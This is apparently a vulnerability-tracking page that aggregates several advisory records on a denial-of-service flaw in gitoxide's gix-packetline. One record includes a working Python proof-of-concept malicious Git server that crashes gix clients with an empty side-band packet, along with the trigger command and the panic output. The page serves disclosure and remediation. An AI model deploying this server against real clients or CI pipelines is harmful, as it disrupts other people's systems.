gitoxide gix-packetline before 0.21.5 Denial of Service

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.

Source published

28 Aug 2026 10:49:35 UTC

Source modified

28 Aug 2026 15:52:43 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.

Source published

Aug 28, 2026, 10:49:35 AM (timezone not stated)

Source modified

Aug 28, 2026, 3:52:43 PM (timezone not stated)

Saved here

14 Nov 2026 03:07:45 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

gitoxide gix-packetline versions before 0.21.5 contain a panic vulnerability in the TextRef implementation that occurs when processing side-band packet lines with empty payloads. A malicious Git server can send a crafted side-band packet to trigger an index out of bounds panic, aborting the client process during fetch operations without authentication.

Source published

28 Aug 2026 12:16:36 UTC

Source modified

28 Aug 2026 20:20:16 UTC

Saved here

25 Oct 2026 16:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

### Summary `gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service. ### Details In `gix-packetline/src/lib.rs`, `impl From<&[u8]> for TextRef` strips a trailing newline with `d[d.len() - 1]`: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch. (Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.) ### PoC Confirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`. 1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload: ```python import socket HOST, PORT = "127.0.0.1", 9418 def pkt(d): return ("%04x" % (len(d)+4)).encode() + d FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890" def handle(c): c.recv(65536) c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n") +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH) buf=b""; sent=False while True: d=c.recv(65536) if not d: return buf+=d if b"command=ls-refs" in buf and not sent: c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n") +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf): c.sendall(pkt(b"packfile\n") + b"0005\x02") # band id 2, EMPTY payload try: c.recv(4096) except Exception: pass return s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) s.bind((HOST,PORT)); s.listen(1); print("listening",PORT) conn,_=s.accept(); conn.settimeout(5.0) try: handle(conn) finally: conn.close(); s.close() ``` 2. Point the real client at it: ``` RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out ``` Observed: ``` thread 'main' panicked at gix-packetline/src/lib.rs:199:20: index out of bounds: the len is 0 but the index is 18446744073709551615 exit code: 101 ``` ### Impact A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using `gix` / `gix-packetline` crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch. ### Suggested fix Guard the empty-slice case instead of indexing unconditionally, e.g. `let d = d.strip_suffix(b"\n").unwrap_or(d);`, or check `!d.is_empty()` / `d.last() == Some(&b'\n')` before slicing.

Source published

28 Aug 2026 16:09:59 UTC

Source modified

10 Sep 2026 03:51:12 UTC

Saved here

24 Oct 2026 13:19:54 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Publisher rating · MODERATE